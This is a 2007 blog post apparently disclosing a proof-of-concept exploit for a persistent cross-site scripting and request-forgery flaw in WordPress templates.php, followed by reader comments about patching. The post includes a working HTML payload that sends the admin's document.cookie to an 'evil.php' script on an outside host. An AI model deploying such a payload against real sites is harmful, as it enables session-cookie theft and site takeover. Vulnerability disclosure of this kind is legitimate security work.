Wordpress template.php Exploit

Update: 16/01 see http://michaeldaw.org/projects/wpsec/

Its been a few days since the release of:
http://michaeldaw.org/md-hacks/wordpress-persistent-xss/.

Other references:

Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.

If you remember from my original advisory, our attack was limited due to our attack being passed through PHP’s basename function. To get around this we borrow the characters from document.location. I wanted an exploit that was simple and compact.

I created two HTML files to aid in my research, Injection.html and Recover.html.

First: Inject.html

This is our actual exploit (we use a nested IMG exploit):

<
        img src='https://wordpress-site/wp/wp-admin/templates.php?file=<
        img src=%27%27 onerror="javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);
        document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">'
>

Second: Recover.php

If we mess up we may create an annoying, persistent redirect that prevents us access to the templates.php file. So this next HTML file simply resets our templates.php file using the same injection point.

<img src="https://wordpress-site/wp/wp-admin/templates.php?file=a">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=b">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=c">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=d">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=e">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=f">

Job done; all that is required is for an attacker to setup a file on a remote server to capture the cookies.

Conclusion

I hope this article “strongly” encourages WordPress users to apply the latest patch ASAP! Another attack vector I was thinking of was injecting PHP code straight into the WordPress Installation. I can see really bad worm potential with this vulnerability. I stress again, apply the patch.

40 Comments so far

  1. […] Wie es aussieht gibt es seit drei Tagen eine sogenannte Wordpress Template.PHP HTML Injection Vulnerability die es dem Angreifer erlaubt Code auf der Seite auszuführen. Wer sich für den proof of concept exploit ansehen möchte geht bitte auf die Seite von Michael Daw und tut dieses dort. […]

  2. […] As as a note, if you want to see a proof of concept regarding this wordpress issue, you can go to David Kierznowski homepage and see it by yourself […]

  3. Buayacorp @ January 2nd, 2007

    Cross Site Scripting (XSS) en Wordpress…

    Nota: Este post ha sido escrito luego de reportar los fallos al equipo de desarrollo de Wordpress.

    El día de ayer acabo de reportar dos fallos de seguridad en Wordpress que permiten realizar XSS a sitios que utilizen Wordpress como plataforma…

  4. Ashish Mohta @ January 2nd, 2007

    I have updated the patch….but how do i know it works fine.I mean is there a test that can be done?

    Moreover , the changes done are they tested for intigrity test ie it works properly with wordpress as a whole…

    I was not sure if its the right place to ask, bu ti think you are the right person for that

    Thx and Regards
    Ashish

  5. david.kierznowski @ January 2nd, 2007

    Ashish: I’m not the right person to ask; however, the patch (http://trac.wordpress.org/changeset/4665) should not break anything but obviously be cautious and make sure you have done backups before you try anything.

    At a minimum I would atleast make a copy of the original templates.php file in case you notice it stuffing something up later. Yes it can be tested. This post discusses the exploit. You can email me if you require additional information.

    DK

  6. […] [Source] […]

  7. Ashish Mohta @ January 2nd, 2007

    Thx David,

    I have applied the patch and will see how it goes.Had mae a backup too.

    Thx for the discovery.I will be a regular reader of your blog now.

  8. david.kierznowski @ January 2nd, 2007

    Ashish, your welcome.

  9. […] Download templates.php Unified Diff | Zip Archive Via michaeldaw.org [Thanks Ashish] if (typeof window.Delicious == “undefined”) window.Delicious = {}; Delicious.BLOGBADGE_DEFAULT_CLASS = ‘delicious-blogbadge-line’; Tags […]

  10. […] [Source] Share and Enjoy:These icons link to social bookmarking sites where readers can share and discover new web pages. […]

  11. […] Read more about this exploit on Operation N or Security Focus […]

  12. TechnoBeta Blog @ January 2nd, 2007

    […] To learn more about this vulnerability, visit Operation N or Security Focus. Report via Tech-Buzz. […]

  13. Ashish Mohta @ January 2nd, 2007

    Hi,

    Just wanted to ask, Can you add the link of the official announcement of wordpress regarding this matter in this post.I was unable to find it.

  14. […] Posted by adam k on January 2nd, 2007 David Kierznowski has uncovered an exploit in the popular Wordpress blogging software that everyone should be aware of. Popular security website Security Focus has the issue documented, and it is suggested that you upgrade your template.php file as soon as possible to avoid becoming a victim. The Wordpress team has issued an updated release, version 2.0.6 that contains a fix. Simply put, to fix the wordpress exploit, visit the wordpress site and edit line 114 in your template.php file. […]

  15. david.kierznowski @ January 2nd, 2007

    Ashish, I don’t think there was an official announcement. A fix was provided as listed above. Nothing more was said as far as I know.

    This “type” of vulnerability (CSRF) has only recently been gaining popularity. I don’t think many people understand its dangers.

  16. Ashish Mohta @ January 2nd, 2007

    You Are right.I had been asking all the bloggers about this, but hardly anybody know.Most probably it was the time of holiday and nobody looked back.

  17. Garry Conn @ January 3rd, 2007

    Hey guys,

    I appreciate all the work that has been put into correcting this problem. Thilak at TechBuzz wrote a post that references this article here. I am curious though why Wordpress.org hasn’t published anything regarding this? I checked their official blog and nothing has been posted. Do you think that they know about this problem? If they do, then are they planning to release their own patch? Either case, I will download and get my site fixed. Thanks a lot…

    - Garry

  18. […] If your blog using Wordpress version 2.0.5 and below that mean you are expose to hacker attack by using Cross-site scripting vulnerability that has been found. What hacker need to do is just inject some script or HTML code into your Wordpress wp-admin/template.php file. To learn more how can hacker do that you can read from Operation N and Security Focus. […]

  19. Perfect Blogger @ January 3rd, 2007

    Security Alert: templates.php XSS vulnerability in WordPress…

    Thanks to Thilak of TechBuzz, I’ve just learned about wp-admin/templates.php (part of your WordPress administration functionality) seems to be vulnerable to a rather nasty XSS exploit.

    ……

  20. david.kierznowski @ January 3rd, 2007

    Garry, WordPress has been informed (hence the patch for v2.0.5). They have also let me know that it will be corrected in WordPress 2.0.6. I do not know why they did not publish an advisory (see my previous comments for possible reasons).

  21. […] wordpress-templatephp-exploit […]

  22. […] You can read more about this exploit on Security Focus and Operation n. […]

  23. […] מספר בלוגים דיווחו היום על פירצת אבטחה מסוג (XSS (Cross-Site Scripting התגלתה בקובץ templates.php שנמצא בתוך התיקייה wp-admin. […]

  24. […] You can get more details and updates of this threat from Operation n and Technospot.net […]

  25. […] Via de FeedReader kwamen er verschillende berichten binnen dat er een belangrijke upgrade is voor WordPress. Het kan niet anders dat deze upgrade werkelijk belangrijk is want de volgende vernieuwde versie WordPress 2.1 staat in de startblokken. Er wordt geadviseerd dat iedereen de upgrade naar WordPress 2.06 zo spoedig mogelijk uitvoert. Naar verwachting lost deze uitvoering het recent gemelde Wordpress template.php misbruik op. Dit is de eerste keer dat ik van deze lek hoorde… […]

  26. […] Il y a quelques jours une faille de sécurité avait été décellée dans l’un des fichiers de wordpress (le template.php pour être précis). A priori le problème était grave dixit les experts qui avaient proposé ilicot un patch pour le fichier à problème! […]

  27. […] Filed under: Blogs, Bloggers & Blogging , Software , WordPress WordPress 2.0.6 —”a security release version with an important security fix has been released. It’s a recommended version that everyone should upgrade to, and it probably may also’v addresed the exploit discovered in WordPress Template.php. […]

  28. […] An important upgrade of Wordpress 2.0.6 is released it includes an important security fix and they recommended everyone upgrades their Wordpress installations. I guess this release fixes the recently reported Wordpress template.php Exploit, which had WordPress users confused about applying patches. Some of the important features in the release are […]

  29. Pixelomanie » Upgrade party @ January 8th, 2007

    […] Il y a quelques jours une faille de sécurité avait été décelée dans l’un des fichiers de wordpress (le template.php pour être précis). A priori le problème était grave dixit les experts qui avaient proposé ilico un patch pour le fichier à problème! […]

  30. Personally, I never use more than a single link in the comment I post because doing so can trigger spam catchers if the user has that plugin activated, whereas a single link will not.

  31. […] this release fixes the recently reported Wordpress template.php Exploit, which had WordPress users confused about applying patches. Thanks to Ashish Mohta for this […]

  32. Alireza @ May 16th, 2007

    I’m using ver 2.0.5 and patched the template.php but after patching I can’t edit my files via web.
    any suggestion ?

  33. david.kierznowski @ May 16th, 2007

    Alireza, thats quite an old version, I can think you may have more security problems than just the template php vulnerability. I would recommend you make a backup and then upgrade to the latest version.

  34. Betty @ May 18th, 2007

    Good site! Good resources here, I will bookmark!

    Thanks, bye!

  35. SEO @ June 1st, 2007

    Very good information. Thank you and keep up the good work.

  36. […] Template CSRF Vulnerability (more) […]

  37. […] this release fixes the recently reported Wordpress template.php Exploit, which had WordPress users confused about applying patches. Thanks to Ashish Mohta for this […]

  38. Suchmaschinenoptimierung @ October 18th, 2007

    thanks for the usefull content. Keep on writing so good stuff!

Leave a reply

Recent

Sponsored links